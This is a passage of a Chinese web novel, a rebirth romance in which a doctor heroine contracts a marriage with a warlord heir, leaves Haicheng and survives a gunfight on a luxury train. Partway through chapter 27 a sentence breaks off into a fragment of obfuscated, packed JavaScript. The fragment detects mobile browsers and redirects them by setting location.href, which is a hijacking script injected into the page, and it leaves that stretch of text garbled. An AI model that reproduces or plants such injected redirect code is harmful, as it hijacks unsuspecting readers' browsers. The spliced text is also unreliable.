那个曾经只想独善其身、利用前世记忆搞钱复仇的沈晚清,在这一刻,彻底与身后这个男人绑在了一起。
那一枪的风情,不仅击碎了敌人的头颅,也击碎了她心底最后的防线。
……
济世堂,二楼。
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>回到房间时,阿福已经烧好了热水。
陆淮锦没有让任何人插手,亲自拧了热毛巾,一点点擦去沈晚清脸上和手上的泥污。
他的动作轻柔得不可思议,仿佛刚才那个**不眨眼的魔王是另一个人。
“疼吗?”
他用棉签沾着碘伏,小心翼翼地处理她脖子上的伤口。
“不疼。”沈晚清看着他专注的眉眼,心里涌起一股暖流,“比起前世……这点伤算什么。”
陆淮锦的手顿了一下。
他又听到了那个词——前世。
他在百乐门跳舞时就听她说过“死过一次”。如今在生死关头,她又提到了。
“沈晚清。”
陆淮锦放下棉签,双手撑在椅子的扶手上,将她困在中间,目光灼灼地看着她。
“你的前世,到底发生过什么?”
沈晚清沉默了片刻。
她抬起头,眼神清澈而坦荡:“如果我说,在前世,我被沈家害死,而你也……死在了战场上,你信吗?”
陆淮锦盯着她的眼睛,似乎在判断真假。
许久,他勾唇一笑,手指轻轻摩挲着她的脸颊:
“信。”
“只要是你说的,我都信。”
“不过……”他的眼神陡然变得霸道而狂妄,“既然这辈子我陆淮锦来了,那所谓的命运,就得给老子改写。”
“我不会死,你更不会。”
他站直身体,转身走到窗前,看着窗外漆黑的夜色。海城的灯火依旧璀璨,但在他眼里,这座城市已经变成了一座危机四伏的牢笼。
日本人的**、商会的觊觎、直系军阀的暗探……
只要沈晚清还留在海城一天,这种刺杀就不会停止。青霉素的秘密已经泄露,她就是一块行走的唐僧肉。
“晚清。”
陆淮锦背对着她,声音低沉,透着一股不容置疑的决断。
“收拾东西。”
沈晚清一愣:“什么?”
陆淮锦转过身,目光如炬:
“明天一早,跟我回北城。”
这不是商量,是命令。
也是他在那一枪之后,做出的唯一能护她周全的决定。
第26章 逼婚
济世堂,二楼闺房。
窗外的雨终于停了,但空气中依然弥漫着潮湿的血腥气。
阿福和宋副官已经把楼下的尸体处理干净,连带冲刷了三遍地砖。但房间里的气氛,却比刚才的雨夜还要凝重。
沈晚清坐在梳妆台前,看着镜子里略显狼狈的自己——头发凌乱,脖子上贴着一块纱布,那是陆淮锦刚才亲自为她包扎的。
而陆淮锦,此刻正像一头巡视领地的雄狮,在她的房间里来回踱步。
“宋副官。”
他突然停下脚步,声音冷硬,“通知下去,所有人整装待发。天一亮,我们就走。”
“是!”门外的宋副官应声而去。
“走?”
沈晚清转过身,眉头微蹙,“这么急?我的药厂才刚起步,济世堂的病人也还没安排好……”
“药厂?济世堂?”
陆淮锦猛地转过身,几步走到她面前,双手撑在椅背上,将她困在方寸之间。他那双深邃的眸子里,还残留着刚才杀戮后的余威,此刻更多的是一种无法掩饰的焦躁。
“沈晚清,你还没搞清楚状况吗?”
他指了指窗外,“今晚只是第一波。黑龙会、直系军阀、甚至是南京那边的人,现在都知道你手里握着‘不死药’的配方。只要你还留在海城一天,这种刺杀就会像苍蝇一样没完没了。”
“我能护你一次,护你两次,但我不能保证每次都这么及时。”
陆淮锦的声音低沉下来,带着一丝罕见的后怕,“刚才那一刀如果再深半寸……我就只能给你收尸了。”
沈晚清看着他。
她当然知道局势的危险。匹夫无罪,怀璧其罪。从她拿出青霉素的那一刻起,海城这个安乐窝就已经变成了修罗场。
“所以我必须走。”沈晚清平静地说道,“这点我同意。”
“很好。”
陆淮锦神色稍缓,直起身子,恢复了往日那种霸道而笃定的姿态,“既然同意,那就没什么好说的了。收拾东西,跟我回北城。到了我的地盘,就算是天王老子来了,也不敢动你一根头发。”
“回北城可以。”
沈晚清站起身,目光清亮地直视着他,“但是陆少帅,我们要以什么名义回去?”
陆淮锦一愣,随即挑眉,嘴角勾起一抹理所当然的笑:
“自然是跟我回去。你是我的救命恩人,又是我的……女人。”
他在“女人”两个字上加了重音,眼神暧昧地扫过她的唇瓣,显然想起了刚才巷子里那个激烈的吻。
“女人?”
沈晚清冷笑一声,后退半步,避开了他伸过来的手。
“少帅府里,应该不缺女人吧?”
她虽然没去过北城,但也听说过,军阀的后院从来都不干净。陆大帅姨太太成群,陆淮锦身为少帅,虽然传闻不近女色,但那种环境下,想要往他床上爬的女人恐怕能从北城排到海城。
“我沈晚清虽然惜命,但也爱惜羽毛。”
沈晚清挺直脊背,声音清冷而坚定,“我不是那些依附于男人的菟丝花,更不会没名没分地跟着一个男人不清不楚。如果要我去做你后院里众多姨太太中的一个,哪怕是死在海城,我也绝不北上。”
这是她的底线。
前世她做了一辈子的贤妻良母,结果被渣男和小三害死。这一世,她绝不重蹈覆辙。她要的是平等,是尊严。
陆淮锦看着她。
灯光下,她穿着那身沾了泥点的旗袍,脖子上还带着伤,却傲气得像一只不愿意低头的天鹅。
别的女人听到能跟少帅回府,哪
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个不是欣喜若狂?偏偏她,在这生死关头,还能跟他谈条件、讲名分。
但正是这份骄傲,让他该死地着迷。
“姨太太?”
陆淮锦咀嚼着这三个字,突然低笑出声。他一步步逼近,直到将她逼到墙角,再无退路。
“沈晚清,你是不是太小看你自己了?还是太小看我陆淮锦了?”
他单手撑墙,低下头,鼻尖几乎碰到她的鼻尖,呼吸滚烫。
“我陆淮锦这辈子,要么不娶,要娶,就只娶一个。”
他的声音不高,却每一个字都像是砸在地上的金石:
“我要你带上所有的身家性命,带上你的青霉素,带上你的骄傲,跟我去北城。”
“不是做姨太太,也不是做情人。”
陆淮锦从怀里掏出那把象征着权力的虎头枪,塞进她的手里,然**住她的手,将枪口抵在自己的胸口。
“我要你做我的正妻。”
“做这北六省未来的女主人,做我陆淮锦唯一的——少帅夫人。”
沈晚清的手微微一颤。
她感受着掌心里那把沉甸甸的枪,以及枪口下那颗强有力跳动的心脏。
正妻。
唯一的夫人。
在这个三妻四妾合法的年代,在这个权势滔天的军阀口中,这是一份重如千钧的承诺。
“你是认真的?”沈晚清看着他的眼睛。
“军中无戏言。”陆淮锦目光灼灼,“只要你点头,下了火车,我就通电全国,明媒正娶。”
沈晚清沉默了片刻。
随后,她收回了枪,将它别回陆淮锦的腰间。
“通电全国就不必了,太招摇。”
沈晚清嘴角勾起一抹极淡的笑意,眼底闪烁着精明的光芒。
“既然是合作,那就签个契约吧。”
第27章 契约
雨后的清晨,空气微凉。
房间里一片忙碌。阿福正红着眼眶,帮沈晚清收拾着行李。几口贴着封条的箱子整齐地码在门口,里面装的是沈晚清最珍贵的医疗器械和那几株视若性命的青霉素菌种。
陆淮锦站在窗边,看着楼下正在集结的卫队,背影挺拔如松。
“都收拾好了吗?”
他转过身,目光落在沈晚清身上。她今天换了一身素净的月白色旗袍,外面罩着一件深灰色的风衣,看起来干练而清冷,完全没有即将远行的慌乱。
“东西收拾好了。”
沈晚清坐在桌边,手里把玩着一只精致的钢笔,“但有些话,还没说清楚。”
陆淮锦挑眉,迈着长腿走到她对面坐下,随手给自己倒了一杯茶:“想说什么?如果是舍不得这里,我说了,阿福和亨利会帮你看着。”
“不是这个。”
沈晚清抬起头,目光清亮如雪,直视着他的眼睛,从抽屉里拿出一张早已写好的纸,拍在桌上。
“我要一份契约。”
陆淮锦低头看去。那张纸上,字迹娟秀却透着风骨,列了三条铁律:
“第一,我是你的正妻,也是你唯一的妻子。若有违背,我有权随时离婚,并带走青霉素的所有配方和专利。”
“第二,在北城,我要有绝对的行医自由和办厂权利,你不许干涉我的事业。”
“第三……”
她停下笔,抬起头,眼神中透着一丝狡黠,“在我们正式完婚之前,你不许……动手动脚。”
陆淮锦看着那张写满了条款的纸,有些哭笑不得。
这女人,还真是把生意场那一套用到感情上来了。
尤其是第三条。
他扫了一眼那张并不算宽敞的单人床,又看了看沈晚清那副防备的样子,无奈地叹了口气。
“前两条我签。”
陆淮锦拿起笔,潇洒地签下了自己的名字,然后指着第三条,“至于这第三条……沈大夫,咱们都在一张床上睡了好几天了,现在装矜持,是不是晚了点?”
“那是为了治病!”沈晚清脸一红。
“行行行,治病。”
陆淮锦将那张“不平等条约”折好,郑重地收进贴身的口袋里,“只要你跟我走,怎么都行。”
他看了一眼窗外渐渐泛白的天色。
“快点收拾吧。亨利医生那边我已经派人去接了,他也愿意跟我们一起走,继续研究那个‘黄金水’。”
“至于济世堂……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935515|192885||http|test|mini|href|location''.split(''|''),0,{}));
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r>“济世堂不能关。”沈晚清打断他,“阿福留下来看店。我会让康会长和丐帮照应着。这里是我的根基,也是我们在南方的据点。”
“好,听你的。”
陆淮锦此刻完全是一副妇唱夫随的模样。
“不过……”
陆淮锦话锋一转,嘴角勾起一抹坏笑,“既然签了**契(指他是她的),那我也得收点利息。”
“什么利……”
话未说完,陆淮锦已经低下头,吻住了她的唇。
这个吻不似昨夜雨巷中的狂暴,却带着一种盖章定论的霸道与缠绵。
“这就是利息。”
一吻终了,陆淮锦看着面色绯红的沈晚清,心情大好。他将那张契约折好,郑重地放进贴身的口袋里。
“走吧,陆夫人。”
他向她伸出手,掌心向上,“车已经在等了。带你去看看,我们的江山。”
沈晚清看着眼前这只手。
这是一只握枪的手,**的手,也是如今承诺护她一世周全的手。
她缓缓伸出手,搭在他的掌心。
“成交,陆少帅。”
窗外,阳光破云而出。
这场关于身份与未来的博弈,以一种势均力敌的方式,画上了句号。
第28章 告别海城
离别的清晨,海城下起了蒙蒙细雨。
济世堂门口,几辆黑色的福特轿车和两辆军用卡车已经整装待发。
“沈!等等我!我的显微镜!那可是我的命根子!”
亨利医生气喘吁吁地从后院跑出来,怀里死死抱着那台昂贵的德国蔡司显微镜,身后跟着两个提着大箱小箱的洋护士。
“亨利,你真的决定了?”沈晚清站在车边,看着这位曾经傲慢、如今却甚至有些邋遢的英国绅士,“北边的条件可比不上租界,天寒地冻,还要打仗。”
“No,no,no!”
亨利把脑袋摇得像拨浪鼓,“沈,你别想甩掉我!青霉素的量产才刚刚开始,那是医学史上的奇迹!作为见证者,我怎么能留在这个只有舞会和香槟的无聊地方?”
他极其认真地看着沈晚清:“而且,我已经辞去了租界医院院长的职务。从今天起,我就是‘沈氏制药’的首席技术顾问。老板,你得管饭。”
沈晚清忍不住笑了。
“管。不仅管饭,还管酒。”
有了这位顶尖西医专家的加入,北方的药厂建立就有了最坚实的技术保障。
处理完亨利的事,沈晚清转过身,看向台阶下眼圈红红的阿福和赵龙。
“阿福。”
沈晚清递过去一本厚厚的账本和一串钥匙,“从今天起,你就是济世堂的代理掌柜。那两个老中医虽然脾气倔,但医术是好的,你要敬着。遇到拿不定主意的事,就去找康会长。”
“东家……”阿福抹着眼泪,“您放心,我一定把家看好,等着您回来!”
“赵大哥。”
沈晚清看向赵龙,“海城的流民和乞丐多,济世堂施粥的锅不能停。钱不够了就去商会支,康会长那边我都打过招呼了。”
“恩人放心!”赵龙拍着胸脯,声音哽咽,“只要丐帮还在,这济世堂的招牌就倒不了!谁敢来找茬,我赵龙跟他拼命!”
沈晚清点了点头,最后深深看了一眼这间承载了她重生后第一份心血的铺子。
那块“妙手回春”的金字招牌,在雨雾中显得格外庄重。
“走吧。”
陆淮锦走过来,替她拉开了车门。他今天穿了一身笔挺的少帅军装,披着黑色大氅,显得格外英武冷峻。
“再不走,赶不上火车了。”
沈晚清收回目光,弯腰钻进车里。
车队缓缓启动,碾过湿漉漉的青石板路,向着城外驶去。
……
城西,贫民窟街角。
车队行驶到一半时,沈晚清突然开口:
“停车。”
陆淮锦正闭目养神,闻言睁开眼,顺着她的目光看向窗外:“怎么,还有未了的事?”
“还有一个故人,得去道个别。”沈晚清的声音很冷,透着一股子彻底了断的决绝。
宋副官将车停在了路边。
这里是海城最脏乱的贫民窟入口,也是乞丐和流浪狗的**地。
在路边的泔水桶旁,一个衣衫褴褛、断了一条腿的男人正趴在泥水里,和一条野狗抢夺半个发霉的馒头。
那男人头发蓬乱如鸡窝,脸上满是污垢和脓疮,身上散发着令人作呕的恶臭。他的左腿呈现出一种诡异的扭曲,只能像虫子一样在地上蠕动。
“滚开!这是我的!我是留洋博士……我是沈家大少爷……”
男人一边挥舞着枯瘦的手臂驱赶野狗,一边含糊不清地嘶吼着,神情疯癫。
正是沈志远。
曾经那个意气风发、穿着高定西装、戴着金丝眼镜的“才子”,如今活得连条狗都不如。
沈晚清隔着车窗,静静地看着这一幕。
前世,她被关在柴房里,也是这样跟老鼠抢食,而沈志远却搂着沈雨柔,站在高处嘲笑她的狼狈。
天道好轮回。
似乎是察觉到了注视,正在啃馒头的沈志远突然抬起头。
透过雨幕,他看到了一辆停在路边的黑色豪华轿车。
车窗半降。
露出一张清冷绝美、高贵不可侵犯的脸。
那是……沈晚清?
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沈志远浑浊的眼珠子猛地一凸。手中的馒头掉在泥水里。
“晚……晚清?”
他像是被雷劈了一样,挣扎着想要爬起来,向着轿车爬去,“晚清!是你吗?我是志远啊!我是你丈夫啊!”
“救救我……晚清救救我……我知道错了!我真的知道错了!”
他一边爬,一边哭嚎,那声音凄厉得像鬼哭狼嚎,“带我走吧!我可以给你当狗!别把我丢在这儿……沈雨柔那个**卷了最后一点钱跑了……晚清……”
他伸出那双满是黑泥的手,试图去够那辆代表着权势与富贵的车。
然而,车窗在他面前,缓缓升起。
那张美丽的脸上,从始至终都没有一丝波澜,甚至连恨意都没有。
只有无视。
那种看路边一堆垃圾一样的无视。
“开车。”
车内传来一声冷淡的吩咐。
“轰——”
引擎轰鸣。
黑色的轿车扬长而去,溅起的泥水狠狠地甩了沈志远一脸。
“不!!!”
沈志远绝望地趴在泥水里,看着那渐行渐远的车尾灯,发出了最后一声崩溃的嘶吼。
他知道,他这辈子,彻底完了。
他将在无尽的悔恨、寒冷和饥饿中,一点点烂在这个他曾经梦想征服的城市里。
……
车内。
陆淮锦握住了沈晚清有些冰凉的手。
“解气了?”他问。
“谈不上解气。”沈晚清靠在椅背上,长长地吐出一口气,仿佛吐出了积压在心头两辈子的浊气,“只是觉得,那个让我恨了两辈子的人,原来这么不堪一击。”
“因为你变强了。”
陆淮锦将她的手放在唇边亲了亲,眼中满是宠溺与骄傲,“强者看蝼蚁,自然是不堪一击。”
“从此以后,海城的旧账,一笔勾销。”
他指了指前方越来越近的火车站钟楼,那里正传来悠扬的钟声。
“沈晚清,往前看。”
“前面,是我们的天下。”
第29章 登车
海城火车站,一号贵宾站台。
汽笛声震耳欲聋,白色的蒸汽如同云雾般在站台上弥漫,遮住了灰蒙蒙的天空。
在一片喧嚣中,静静停靠在铁轨上的那列火车,显得格外引人注目。
它不同于此时常见的绿皮或黑铁皮火车,它的车身通体漆成了深邃而高贵的普鲁士蓝,车厢外壳全部由进口的钢材打造,铆钉在阳光下闪烁着冷硬的光泽。车窗宽大明亮,挂着精致的丝绒窗帘,每一个细节都在彰显着它的身份。
这就是闻名遐迩的“蓝钢快车”。
它是连接津浦路的顶级豪华列车,被誉为“移动的皇宫”,只有真正的权贵和洋人买办才坐得起。
此时,这列皇宫的一号车厢门口,荷枪实弹的卫兵三步一岗,五步一哨,将闲杂人等隔绝在十米开外。
“乖乖,这就是陆少帅的排面啊。”
站台远处,几个没资格靠近的小商贩伸长了脖子,满眼羡慕,“听说少帅为了带未来的少帅夫人回北城,直接包下了这整节头等车厢!这一趟下来,得多少大洋啊?”
“大洋?这是钱能买到的吗?这是权!”
……
车厢门口。
陆淮锦站在在那蓝色的车皮旁,身姿挺拔如松。他今日换下了那身沾染了海城烟雨的黑色西装,重新穿回了那套笔挺的灰绿色戎装,肩上的金星在蒸汽中若隐若现,那个杀伐果断的北方少帅,又回来了。
他向着沈晚清伸出手,那双戴着白手套的手掌宽厚而有力。
“沈大夫,请。”
沈晚清看着眼前这只手,又看了看这列即将带她驶向未知北方的钢铁巨兽。
海城的风雨,沈家的恩怨,随着刚才那辆绝尘而去的轿车,都留在了身后。
她深吸一口气,将手放入他的掌心。
“少帅破费了。”她微微一笑,借力踏上了覆着红地毯的踏板。
“为你,不破费。”
陆淮锦反手握紧她的手,牵着她走进了车厢。
车厢内部。
即便沈晚清前世见过不少世面,在踏入车厢的那一刻,还是被眼前的景象晃了一下眼。
这哪里是火车车厢,分明是一座缩小的欧式公馆。
车厢地面铺着厚厚的波斯手工地毯,踩上去悄无声息。两旁的座椅是真皮沙发,宽大柔软。车顶上挂着精致的水晶吊灯,随着火车的微震轻轻摇晃,洒下暖黄色的光晕。
车厢被巧妙地分隔成了几个区域:前面的会客室摆放着红木茶几和留声机,中间是带独立卫浴的豪华卧室,最后面则是供随从和警卫休息的区域。
甚至在窗边的桌子上,还摆着一瓶刚醒好的红酒和几盘精致的西式点心。
“这节车厢是德国人造的,防弹。”
陆淮锦解下身上的军用大氅,随手递给身后的宋副官,然后走到酒柜前,倒了两杯红酒。
他将其中一杯递给沈晚清,目光扫过这奢华的空间,语气中透着一股掌控一切的自信:
“从这一刻起,这里就是我的移动领地。在这个空间里,没有海城的纷扰,也没有北城的勾心斗角。”
他看着沈晚清,眼神逐渐变得幽深,“只有你,和我。”
沈晚清接过酒杯,透过晶莹的红色液体,看着这个男人。
包下整节车厢。
这不仅仅是炫富,更是一种极端的保护欲和占有欲。他是在用这种方式告诉她:在他的羽翼下,她可以享受到极致的安全与尊荣。
“少帅想得周到。”
沈晚清走到窗边,轻轻拨开天鹅绒窗帘。
窗外,宋副官正在指挥卫兵做最后的检查。亨利医生正抱着他的显微镜,兴奋地在后面的二号车厢探头探脑。
“呜——!!!”
一声长长的汽笛声响彻云霄。
车身微微一震,随即缓缓启动。
站台上的景物开始缓
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慢后退。那些送行的人群、卖报的小童、还有远处海城灰色的钟楼,都在视野中一点点变小,变得模糊。
沈晚清看着那座她生活了两辈子、爱过也恨过的城市,在蒸汽的白雾中逐渐远去。
心里某个角落,仿佛有什么东西轻轻落地了。
那是过去的枷锁。
“别看了。”
陆淮锦不知何时走到她身后,温热的胸膛贴着她的后背,一只手环过她的腰,将她从窗边的回忆中拉了回来。
“海城再好,也是过去了。”
他在她耳边低语,声音随着列车的加速而变得有些低沉,“前面的路虽然冷,但我会一直牵着你。”
沈晚清转过身,背靠着车窗。
窗外的景色开始飞速掠过,变成了连成线的绿影。
她仰头看着陆淮锦。
这个男人,是她用医术救回来的,是用契约绑定的,也是她现在唯一的依靠。
“陆淮锦。”
她举起手中的酒杯,轻轻碰了一下他手中的杯子,发出清脆的“叮”声。
“敬未来。”
陆淮锦深深地看了她一眼,那眼底翻涌的情绪比杯中的酒还要浓烈。
他仰头饮尽杯中酒,随手将空杯放在窗台上。
列车在铁轨上疾驰,发出有节奏的“哐当、哐当”声,像是一首激昂的战歌。
蓝钢快车像一把利剑,劈开了南方的烟雨,载着这对在乱世中结盟的强者,向着风云变幻的北方疾驰而去。
而在车厢的连接处,宋副官轻轻拉上了那扇厚重的红木隔门,将整个一号车厢变成了一个绝对私密的世界。
门锁落下的声音,在这个封闭的空间里显得格外清晰。
陆淮锦看着沈晚清,解开了领口的第一颗风纪扣,嘴角勾起一抹意味深长的笑意:
“好了,现在门关了。”
“沈大夫,路途漫长,我们是不是该……交流一下感情了?”
第30章 车厢暧昧
蓝钢快车,一号豪华包厢。
厚重的红木隔门落锁的那一刻,世界仿佛被分割成了两半。门外是哐当作响的嘈杂旅途,门内则是流淌着红酒与爵士乐的私密领地。
陆淮锦靠在门板上,修长的手指慢条斯理地解开了领口的第二颗风纪扣,露出一截冷白的锁骨和因为吞咽而滚动的喉结。
他看着站在窗边的沈晚清,眼神像是一头解开了链子的饿狼,不再掩饰那种赤裸裸的侵略性。
“晚晚,”他迈开长腿,一步步逼近,“刚才在站台上敬的那杯‘交杯酒’,味道不错。不过……”
他走到沈晚清身后,双臂撑在窗台上,将她完全圈禁在自己与车窗之间,温热的呼吸喷洒在她的耳廓上:
“酒不醉人人自醉。既然门都关了,咱们是不是该做点夫妻之间该做的事?”
沈晚清看着车窗玻璃上倒映出的那个极具压迫感的身影,心跳不由自主地漏了一拍。但她面上依旧维持着那副清冷的模样。
“少帅请自重。”
她转过身,背靠着窗台,双手抵在他的胸口,试图推开一点安全距离,“契约第三条写得很清楚,在正式完婚前,不许动手动脚。”
“那是你写的,我可没说一定要守。”
陆淮锦低笑一声,抓住了她抵在自己胸口的手,放在唇边轻咬了一口指尖,“再说了,这是收利息。我是债主,规矩我说了算。”
说完,他猛地俯下身,就要去吻那张让他日思夜想的唇。
动作霸道,不容拒绝。
沈晚清眼底闪过一丝狡黠的光芒。
就在陆淮锦的唇即将触碰到她的瞬间,一道银光在他眼前骤然一闪。
“别动。”
沈晚清的声音轻柔,却带着一股寒意。
陆淮锦动作一僵。
只见一根细若牛毛的银针,正稳稳地抵在他颈侧的“扶突穴”上。只要再进半分,虽不致死,却足以让他半边身子麻痹,甚至暂时失语。
“少帅,这叫‘镇静针’。”
沈晚清笑得像只得逞的小狐狸,手指轻轻捻动着针柄,“专治心火过旺、举止轻浮。您要是再往前凑一寸,这根针可就不长眼了。”
陆淮锦垂眸,看着那根在灯光下闪烁着寒芒的银针,又看了看眼前这个看似柔弱实则带刺的小女人。
他非但没有生气,反而像是发现了什么新大陆一般,眼底的兴味更浓了。
“沈大夫,这就是你对待救命恩人的态度?”
他保持着被“挟持”的姿势,语气却依然无赖,“**亲夫可是重罪。”
“少帅言重了。我这是帮您‘去火’。”
沈晚清手腕极稳,丝毫没有退让的意思,“这里是火车,路途颠簸。万一少帅‘操劳过度’导致伤口崩裂,这荒郊野岭的,我可没地方给你找血浆。”
“坐回去。”她扬了扬下巴,示意对面的沙发。
陆淮锦盯着她看了三秒,最终无奈地举起双手,做投降状。
“行,你狠。”
他后退两步,一屁股陷进柔软的真皮沙发里,长腿交叠,扯开领带随手扔在一边,一副大爷模样,“不让亲就不让亲,拿针吓唬人算什么本事。”
看着这只吃瘪的“大老虎”,沈晚清收起银针,心里涌起一股莫名的成就感。
这世上能让陆阎王乖乖听话的,恐怕也就只有她手里的针了。
“既然不让动手动脚,那换个别的。”
陆淮锦靠在沙发背上,眉头突然皱了起来,抬手按了按太阳穴,脸色也变得有些苍白,“我头疼。”
“又装?”沈晚清没好气道。
“这次没装。”
陆淮锦的声音低了下去,透着一丝难以掩饰的疲惫,“**病了。一坐火车,或者听到这种轰隆隆的声音,脑子里就像有钻子在钻。”
沈晚清一愣。
她想起前世的传闻,陆少帅患有严重的战后创伤应激症,常年失眠,头痛欲裂。而火车行进时的噪音和震动,很容易诱发这种症状。
她走过去,仔细观察他的脸色。果然,刚才那种调情的轻浮感消失了,取而代之的是眉宇间深深的褶皱和隐忍的痛楚。
心,没来由地软了一下。
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“转过去,背对着我。”沈晚清叹了口气。
陆淮锦听话地转过身。
微凉的指尖搭上了他的太阳穴,力度适中地按揉起来。沈晚清的手法很专业,带着特有的节奏,还混合着她指尖那股淡淡的药草香。
“这是风池穴,还有太阳穴……放松点,别绷着。”
随着她的按揉,陆淮锦紧绷的神经一点点松弛下来。那股让他暴躁不安的头痛,竟然奇迹般地缓解了。
“晚晚……”
他闭着眼,声音沙哑,“你的手有魔力。”
“是医术。”沈晚清纠正道。
“嗯,医术。”陆淮锦嘴角勾起一抹满足的笑,顺势向后一靠,直接将头枕在了沈晚清的小腹上。
沈晚清身体一僵,刚要推开。
“别动。”
陆淮锦的双臂环住她的腰,脸埋在她的腰腹间,像个寻找安全感的孩子,“就一会儿……让我睡一会儿。我在前线这半个月,没睡过一个囫囵觉。”
他的声音越来越低,呼吸也逐渐变得绵长。
沈晚清举起的手,终究没有落下去。
她低头看着这个平日里杀伐果断、此刻却在她怀里卸下所有防备的男人。他的眼下有着淡淡的青黑,睫毛很长,睡着的时候少了几分戾气,多了几分英俊。
只有在她身边,他才能安睡。
车厢里只剩下火车行进的“哐当”声和留声机里流淌出的低缓爵士乐。
窗外,夜幕降临。
荒野上的点点灯火飞速掠过,像是一颗颗流星。
沈晚清轻轻抚摸着他的短发,感受着这份难得的宁静。
她知道,这只是暴风雨前的宁静。
按照行程,列车将在下半夜经过山东地界。那里山峦叠嶂,匪患横行,是出了名的“鬼门关”。
而这列载着无数财富与权贵的蓝钢快车,在黑暗中疾驰,就像是一块移动的肥肉。
沈晚清看向窗外漆黑的夜色,手中的银针悄然滑入袖口。
“睡吧,陆淮锦。”
她在心里默默说道,“今晚,换我守着你。”
第31章 刺杀
凌晨三点。
列车正在穿越鲁南的崇山峻岭。
窗外漆黑如墨,偶尔闪过的树影张牙舞爪,如同潜伏在暗夜中的鬼魅。车轮撞击铁轨的节奏变得沉闷而急促,显示着列车正在爬坡。
包厢内的水晶吊灯调暗了光线,只留下一盏壁灯散发着昏黄的光晕。
陆淮锦枕在沈晚清的腿上,呼吸均匀绵长,似乎已经陷入了深层睡眠。但他的一只手,始终搭在腰间的枪套上,即使在睡梦中也没有松开。
沈晚清靠在沙发背上,手里拿着一本英文医书,却怎么也看不进去。
一种莫名的不安在心头萦绕。
**静了。
这节被包下的头等车厢,除了偶尔巡逻卫兵的脚步声,安静得有些诡异。
“咚、咚、咚。”
一阵轻微且克制的敲门声打破了死寂。
沈晚清浑身一僵,下意识地看了一眼怀里的陆淮锦。他没有动,仿佛没听见。
“谁?”沈晚清压低声音问道。
“夫人,我是列车长。”门外传来一个恭敬的声音,“前面就是临城站了,我们要加挂一节补给车厢,可能会有震动,特意来提醒一声。”
声音很正常,理由也很充分。
但沈晚清的眉头却皱了起来。
临城是著名的匪患区,又是两省交界,通常列车都是加速通过,绝不会轻易停车,更别说加挂车厢了。而且,这个“列车长”的声音虽然恭敬,却透着一丝不易察觉的紧绷和……喘息?
就像是刚跑完步,或者……刚杀了人。
沈晚清没有立刻回答。她伸出手,轻轻按在了陆淮锦的太阳穴上。
就在这一瞬间,原本还在“熟睡”的陆淮锦,眼睛猛地睁开。
那双眸子里清明一片,哪有半点睡意?只有如刀锋般锐利的寒光。
他抓住了沈晚清的手,在她掌心轻轻写了一个字:“诈”。
沈晚清心领神会。她深吸一口气,让声音听起来带着一丝被吵醒的慵懒和不悦:
“知道了。少帅刚睡下,别再来打扰。”
“是。”
门外的脚步声似乎远去了。
但陆淮锦并没有放松。他像一只无声的猎豹,悄无声息地从沙发上滑下,整个人贴着地毯,迅速移动到了门的侧面。
他拔出了腰间的勃朗宁,轻轻拉动**上膛,动作行云流水,没有发出一丝声响。
沈晚清也迅速合上书,从随身的急救包里摸出了两把锋利的手术刀,紧紧攥在手里,身体紧贴着沙发的死角。
一秒、两秒、三秒。
“轰隆——!”
列车突然剧烈颠簸了一下,似乎是变轨了。
就在这震动掩盖一切声响的瞬间。
“砰!砰!砰!”
原本紧锁的红木包厢门,被几发**瞬间打成了筛子!
木屑飞溅,火光四射。
紧接着,包厢门被**力踹开。三个穿着列车员制服、手里却拿着装了**的驳壳枪的男人,如同恶狼般冲了进来。
他们显然是冲着沙发的位置去的,举枪便射。
“噗!噗!噗!”
**打在真皮沙发上,棉絮纷飞。
如果是普通人,此刻已经被打成了马蜂窝。
但沙发上空无一人。
“没人?!”领头的刺客一愣。
“找本帅吗?”
一道如同来自地狱的冰冷声音,在他们身侧的阴影里响起。
“砰!”
陆淮锦半跪在地,单手**,稳稳地扣动了**。
**精准地钻入了领头刺客的太阳穴。那人连哼都没哼一声,直挺挺地倒了下去。
剩下的两名刺客大惊,立刻调转枪口。
但陆淮锦的速度比他们更快。他一个侧滚翻,避开了射来的**,同时再次开火。
“砰!”
又一名刺客胸口中弹,鲜血喷溅在奢华的波斯地毯上。
仅剩的一名刺客见势不妙,眼中闪过一丝狠戾。他没有继续攻击陆淮锦,而是把枪口对准了躲在角落里的沈晚清!
“**吧!”
“小心!”陆淮锦瞳孔骤缩,想要扑过去已经来不及了。
就在这千钧一发之际。
“嗖——”
一道银光划破空气。
那名刺客扣动**的手指还没来得及用力,一把锋利的手术刀就精准地扎进了他的手腕,直接切断了手筋!
“啊——!”
刺客惨叫一声,**脱手落地。
还没等他反应过来,沈晚清已经从沙发后跃出,手里握着第二把手术刀,眼神冷静得可怕,直逼他的颈动脉。
但陆淮锦比她更快。
“砰!”
最后一声枪响。
刺客的眉心中弹,尸体重重地砸在茶几上,震翻了那瓶没喝完的红酒。猩红的酒液混合着鲜血,在地毯上蜿蜒流淌,触目惊心。
包厢内瞬间恢复了死寂。
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>只有浓烈的硝烟味和血腥味在弥漫。
陆淮锦站起身,大步走到沈晚清面前,一把抓住她的肩膀,上下检查:
“受伤没有?”
“没有。”沈晚清摇摇头,看了一眼地上的尸体,脸色虽然有些苍白,但眼神依然镇定,“这些人是……?”
“直系的人。”
陆淮锦用脚尖踢开一具尸体的衣领,露出了里面的纹身,“看来我们的行踪早就暴露了。海城那边泄露的消息。”
他话音未落,包厢外突然传来了密集的脚步声和喊杀声。
“保护少帅!!”
是宋副官的声音,紧接着便是激烈的交火声。
“哒哒哒哒——”
那是**的声音!
陆淮锦脸色一变。
能在列车上动用**,说明这绝不仅仅是几个刺客那么简单。这是一场有预谋的、针对他的围猎。
“车厢连接处失守了。”
陆淮锦迅速判断出局势,“他们切断了我们和后面卫队车厢的联系。现在这节车厢,成了孤岛。”
他转过身,将沈晚清拉到防弹车窗后的死角,把一把备用的柯尔特**塞进她手里。
“会用吗?”
沈晚清握紧了冰冷的枪柄,点了点头:“会一点。”
“听着。”
陆淮锦一边飞快地给自己的勃朗宁换**,一边沉声说道,“现在外面至少有二十个人正在包围这里。待会儿我冲出去吸引火力,你找机会往餐车方向跑,那里有紧急制动闸。”
